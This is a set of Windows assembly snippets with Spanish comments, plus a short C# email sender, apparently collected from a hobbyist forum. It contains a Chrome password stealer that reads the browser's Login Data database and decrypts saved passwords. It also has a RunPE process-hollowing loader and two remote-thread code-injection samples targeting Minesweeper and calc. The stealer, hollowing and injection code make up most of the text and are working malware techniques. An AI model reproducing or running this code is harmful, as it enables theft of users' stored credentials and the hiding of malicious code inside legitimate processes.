; Stealer Google Chrome
; Programado por Juan fary.
; Flat Assembler.
 
format PE Console 4.0
entry start
include 'win32ax.inc'
 
section '.data' data readable writeable
        ruta         db '\Local\Google\Chrome\User Data\Default\Login Data',0
        query        db 'SELECT origin_url, username_value, password_value FROM logins',0
 
        bd           dd ?
        stmt         dd ?
 
        URL          db 'URL: %s',10,13,0
        Usuario      db 'Usuario: %s',10,13,0
        PASS         db 'PASS: %s',10,13,0
 
        struct DATA_BLOB
               cbData   dd ?
               pbData   dd ?
        ends
 
        datain      DATA_BLOB
        dataout     DATA_BLOB
 
        buffer      rb 255
 
        barra       db '-----------------------------------------------------',10,13,0
 
        BufferRuta  rb 512
        APPDATA     db 'APPDATA',0
 
section '.code' code readable executable
start:
        invoke GetEnvironmentVariableA, APPDATA, BufferRuta,512
        invoke lstrcat, BufferRuta, ruta
 
        cinvoke sqlite3_open, BufferRuta, bd
        cmp eax, 0 ; eax = SQLITE_OK
        jne salir
 
        cinvoke sqlite3_prepare_v2, [bd] , query, -1 ,stmt,0
        cmp eax, 0 ; eax = SQLITE_OK
        jne salir
 
    BuclePass:
        cinvoke sqlite3_step, [stmt]
        cmp eax, 100 ; eax = SQLITE_ROW
        jne salir
 
        cinvoke printf,barra
 
        cinvoke sqlite3_column_text , [stmt], 0  ; URL
        cinvoke printf,URL,eax
 
        cinvoke sqlite3_column_text , [stmt], 1  ; USUARIO
        cinvoke printf,Usuario,eax
 
        cinvoke sqlite3_column_text , [stmt], 2  ; Contraseña
 
        mov [datain.pbData], eax
        mov [datain.cbData], 512
 
        invoke CryptUnprotectData , datain, 0, 0, 0, 0, 0, dataout
 
        mov ecx, -1
     BucleNull:
        mov edx, [dataout.pbData]
        inc ecx
 
        cmp byte[edx+ecx],0x08
        jne BucleNull
 
        mov byte[edx+ecx],0
 
        cinvoke printf, PASS, [dataout.pbData]
 
        cinvoke printf,barra
 
        jmp BuclePass
 
        salir:
        cinvoke system,'PAUSE'
        ret
 
section '.idata' import data readable writeable
 
        library  sqlite3, 'sqlite3.dll',\
                 msvcrt, 'msvcrt.dll',\
                 Crypt32, 'Crypt32.dll',\
                 KERNEL32, 'KERNEL32.DLL'
 
        import sqlite3,\
               sqlite3_open, 'sqlite3_open',\
               sqlite3_prepare_v2, 'sqlite3_prepare_v2',\
               sqlite3_column_text, 'sqlite3_column_text',\
               sqlite3_step, 'sqlite3_step'
 
        import msvcrt,\
               printf, 'printf',\
               memcpy,'memcpy',\
               system, 'system'
 
        import Crypt32,\
               CryptUnprotectData, 'CryptUnprotectData'
 
        import KERNEL32,\
               GetEnvironmentVariableA, 'GetEnvironmentVariableA',\
               lstrcat, 'lstrcatA' 

https://es.wikipedia.org/wiki/Endianness

; Little-Endian ó Big-Endian
; Juan fary.
 
format PE Console 4.0
entry start
include 'win32ax.inc'
 
section '.data' data readable writeable
        numero          dw 1
 
        little_endian   db 'Little-Endian!',0
        big_endian      db 'Big-Endian!',0
 
section '.code' code readable writeable executable
start:
 
        mov al, byte[numero]
 
        cmp al,1
        jne Big
 
        invoke MessageBoxA,0,little_endian,0,MB_OK
        ret
 
        Big:
        invoke MessageBoxA,0,big_endian,0,MB_OK
        ret
 
 
section '.idata' import data readable writeable
    library User32,'User32.dll'
 
    import User32,\
           MessageBoxA,'MessageBoxA'     

; // RunPE
; // Programado por Juan fary (mDrinky)
; // drinky.94@hotmail.com
 
format PE GUI 4.0
include 'win32ax.inc'
entry start
 
section '.data' readable writeable
 
        struct CONTEXT
               ContextFlags             dd ?
               Dr0                      dd ?
               Dr1                      dd ?
               Dr2                      dd ?
               Dr3                      dd ?
               Dr6                      dd ?
               Dr7                      dd ?
               FloatSave                dd ?
               SegGs                    dd ?
               SegFs                    dd ?
               SegEs                    dd ?
               SegDs                    dd ?
               Edi                      dd ?
               Esi                      dd ?
               Ebx                      dd ?
               Edx                      dd ?
               Ecx                      dd ?
               Eax                      dd ?
               Ebp                      dd ?
               Eip                      dd ?
               SegCs                    dd ?
               EFlags                   dd ?
               Esp                      dd ?
               SegSs                    dd ?
               ExtendedRegisters        rb 512
        ends
 
        calc            db 'c:\windows\system32\calc.exe',0
        bleidos         dd 0
        Datos           dd 0
        Espacio         dd 0
 
        _SI                   STARTUPINFO ?
        _PI                   PROCESS_INFORMATION ?
        CTX                   CONTEXT ?
 
        Param2          dd 0
 
        ; Datos PE
        imagebase       dd ?
        sizeofheaders   dd ?
        sizeofimage     dd ?
        numseciones     dd ?
 
 
section '.code' executable readable writeable
start:
        invoke CreateProcessA,calc,0,0,0,FALSE,CREATE_SUSPENDED,0,0,_SI,_PI
 
        invoke CreateFileA,calc, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0      ; nos autoleemos
        mov ebx,eax
        invoke GetFileSize,ebx,0
        mov edi,eax
        invoke GlobalAlloc,GPTR,edi
        push eax
        invoke ReadFile,ebx,eax,edi,addr bleidos,0
        invoke CloseHandle,ebx
        pop eax
 
        mov [Datos],eax
 
        cmp word[eax],'MZ'
        jne salir
 
        add eax,dword[eax+0x3C]  ; PE
 
        cmp word[eax],'PE'
        jne salir
 
        push dword[eax+0x34] ; imagebase
        pop [imagebase]
 
        push dword[eax+0x54] ; sizeofheaders
        pop [sizeofheaders]
 
        push dword[eax+0x50]
        pop [sizeofimage]    ; sizeofimage
 
        movzx ebx,word[eax+0x6] ; numero de secciones
        mov [numseciones],ebx
 
        push eax  ; guardamos ya EAX para el final
 
        push eax
        invoke NtUnmapViewOfSection,[_PI.hProcess],[imagebase]
        invoke VirtualAllocEx,[_PI.hProcess],[imagebase],[sizeofimage],0x3000, PAGE_EXECUTE_READWRITE
        mov [Espacio],eax
        invoke WriteProcessMemory,[_PI.hProcess],eax,[Datos],[sizeofheaders],0
        pop eax
 
        mov ecx,0
 
        add eax,0xF8 ; posicionamos en las cabeceras de sección
 
        EscribirSecciones:
 
        inc ecx
 
        push ecx
        push eax
 
        mov ebx,eax
        mov ebx,dword[ebx+0xC]      ; imagebase
        add ebx,[imagebase]
 
        mov [Param2],ebx
 
        mov ebx,eax
        mov ebx,dword[ebx+0x14]
        mov edx,[Datos]
        add edx,ebx
 
        mov ebx,eax
        mov ebx,dword[ebx+0x10]
 
        invoke WriteProcessMemory,[_PI.hProcess],[Param2],edx,ebx,0
 
        pop eax
        pop ecx
 
        add eax,0x28  ; Siguiente IMAGE_SECTION_HEADER
 
        cmp ecx,[numseciones]
        jne EscribirSecciones
 
        invoke GetThreadContext,[_PI.hProcess],CTX
 
        invoke WriteProcessMemory,[_PI.hProcess],dword[CTX.Ebx+8],imagebase,0x4,0
 
        pop eax
 
        add eax,dword[eax+0x3C]
        mov eax,dword[eax+0x28]
 
        mov [CTX.Eax],eax ; EntryPoint
 
        invoke SetThreadContext,[_PI.hProcess],CTX
 
        invoke ResumeThread,[_PI.hThread]
 
        salir:
        ret
 
section '.idata' import data readable writeable
        library NTDLL,'NTDLL.DLL',\
                KERNEL32,'KERNEL32.DLL'
 
        import KERNEL32,\
                CreateProcessA,'CreateProcessA',\
                CreateFileA,'CreateFileA',\
                GetFileSize,'GetFileSize',\
                GlobalAlloc,'GlobalAlloc',\
                ReadFile,'ReadFile',\
                CloseHandle,'CloseHandle',\
                VirtualAllocEx,'VirtualAllocEx',\
                WriteProcessMemory,'WriteProcessMemory',\
                GetThreadContext,'GetThreadContext',\
                SetThreadContext,'SetThreadContext',\
                ResumeThread,'ResumeThread'
 
        import NTDLL,NtUnmapViewOfSection,'NtUnmapViewOfSection' 

format PE GUI 4.0
entry start
 
include 'win32ax.inc'
 
        Ventana db 'Buscaminas',0
        idproc dd ?
        ID dd ?
 
        TamFun dd ?
        DirFun dd ?
 
start:
        invoke FindWindow,NULL,Ventana
        invoke GetWindowThreadProcessId,eax,addr idproc   ;idproc = identficador del proceso
        invoke OpenProcess,PROCESS_ALL_ACCESS,0,[idproc]
        mov [ID],eax
 
        invoke LoadLibrary,"user32.dll" ;cargamos user32.dll
        invoke GetProcAddress,eax,"MessageBoxA" ;obtenemos la dirección de la api
        mov [mMessageBoxA],eax  ; movemos la dirección de la api a la variable que hay dentro de la funcion qeu inyectaremos
 
        mov eax,final  ;Obtenemos el tamaño de la función
        sub eax,Inyectado
        mov [TamFun],eax
 
        invoke VirtualAllocEx,[ID],0,[TamFun],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE  ;generamos el espacio dentro del proceso
        mov [DirFun],eax
        invoke WriteProcessMemory,[ID],eax,Inyectado,[TamFun],0 ;escribimos nuestro código en el proceso
        invoke CreateRemoteThread,[ID],0,0,[DirFun],0,0,0  ;Lanzamos el hilo.
 
        ret
 
        proc Inyectado
             call offset  ;Técnica del offset delta.
             offset:
             pop ebx
             sub ebx,offset
             push ebx ebx
             pop ecx edx
 
             add ecx,titulo
             add edx,cuerpo
 
             push 0
             push ecx
             push edx
             push 0
 
             call [ebx+mMessageBoxA]
 
 
             ret
 
             titulo db 'Me inyecte!',0
             cuerpo db 'Este Mensage sale del buscaminas ^^',0
 
             mMessageBoxA dd ? ;variable que contiene la dirección de MessageBoxA@user32.dll
        endp
        final:
 
data import
     library kernel32,'Kernel32.dll',\
             user32,'user32.dll'
 
     import user32,MessageBoxA,'MessageBoxA',\
            FindWindow,'FindWindowA',\
            GetWindowThreadProcessId,'GetWindowThreadProcessId'
 
     import kernel32,OpenProcess,'OpenProcess',\
            GetModuleHandle,'GetModuleHandleA',\
            GetProcAddress,'GetProcAddress',\
            VirtualAllocEx,'VirtualAllocEx',\
            WriteProcessMemory,'WriteProcessMemory',\
            CreateRemoteThread,'CreateRemoteThread',\
            LoadLibrary,'LoadLibraryA'
end data  

Format PE GUI 4.0
entry start
include 'win32ax.inc'
 
calc db 'c:\windows\system32\calc.exe',0
pi PROCESS_INFORMATION ?
sin STARTUPINFO ?
TamFun dd ?  ;tamaño de la funcion...
DirFun dd ? ; dirección de la funcion
DirUser dd ?
 
start:
        invoke CreateProcessA,0,calc,0,0,0,0,0,0,sin,pi
        invoke Sleep,2000
        invoke LoadLibrary,"user32.dll"
        mov [DirUser],eax
 
        invoke GetProcAddress,[DirUser],"MessageBoxA"
        mov [mMessageBoxA],eax
        invoke GetProcAddress,[DirUser],"FindWindowA"
        mov [mFindWindow],eax
        invoke GetProcAddress,[DirUser],"SetWindowTextA"
        mov [mSetWindowTextA],eax
 
        mov ebx,final  ;obtenemos el Tamaño de la función
        sub ebx,Inyectada
        mov [TamFun],ebx
 
        invoke VirtualAllocEx,[pi.hProcess],0,[TamFun],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
        mov [DirFun],eax
        invoke WriteProcessMemory,[pi.hProcess],eax,Inyectada,[TamFun],0
        invoke CreateRemoteThread,[pi.hProcess],0,0,[DirFun],0,0,0
        ret
 
        proc Inyectada
                call offset
                offset:
                pop ebx
                sub ebx,offset
                push ebx
                pop ecx
 
                add ecx,Calculadora
 
                push ecx
                push NULL
                call [ebx+mFindWindow]
 
                push ebx
                pop ecx
 
                add ecx, TituloVen
 
                push ecx
                push eax
                call [ebx+mSetWindowTextA]
 
                push ebx ebx
                pop edx ecx
 
                add ecx,TituloMsg
                add edx,CuerpoMsg
 
                push 0
                push ecx
                push edx
                push 0
 
                call [ebx+mMessageBoxA]
                ret
 
                TituloMsg db 'Inyectado!',0
                CuerpoMsg db 'El código inyectado Cambio el nombre a la ventana',0
                TituloVen db 'Este es un título falso',0
                Calculadora db 'Calculadora',0
 
                mMessageBoxA dd ?  ;Dirección MessageBox
                mFindWindow dd ?   ;dirección fundwindow
                mSetWindowTextA  dd ? ;Dirección de SetWindowText
        endp
        final:
data import
     library kernel32,'kernel32.dll'
 
     import kernel32,CreateProcessA,'CreateProcessA',\
            Sleep,'Sleep',\
            GetModuleHandle,'GetModuleHandleA',\
            GetProcAddress,'GetProcAddress',\
            VirtualAllocEx,'VirtualAllocEx',\
            WriteProcessMemory,'WriteProcessMemory',\
            CreateRemoteThread,'CreateRemoteThread',\
            LoadLibrary,'LoadLibraryA'
end data    

using System;
using System.Net.Mail;
using System.Net;
 
namespace Email
{
    class Program
    {
        static void Main(string[] args)
        {
            MailMessage email = new MailMessage();
            MailAddress emisor = new MailAddress("x@gmail.com");
 
            email.Subject = "desde c#";
            email.To.Add("x4@hotmail.com");
            email.From =  emisor;
            email.Body = "Este es el cuerpo del mensaje";
 
            SmtpClient SMTP = new SmtpClient("smtp.gmail.com");
            NetworkCredential credenciales = new NetworkCredential("x@gmail.com","xxx");
 
            SMTP.Port = 587;
            SMTP.EnableSsl = true;
            SMTP.Credentials = credenciales;
 
            try
            {
                SMTP.Send(email);
                Console.WriteLine("Enviado!");
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
            }
 
            Console.Read();
 
        }
    }
}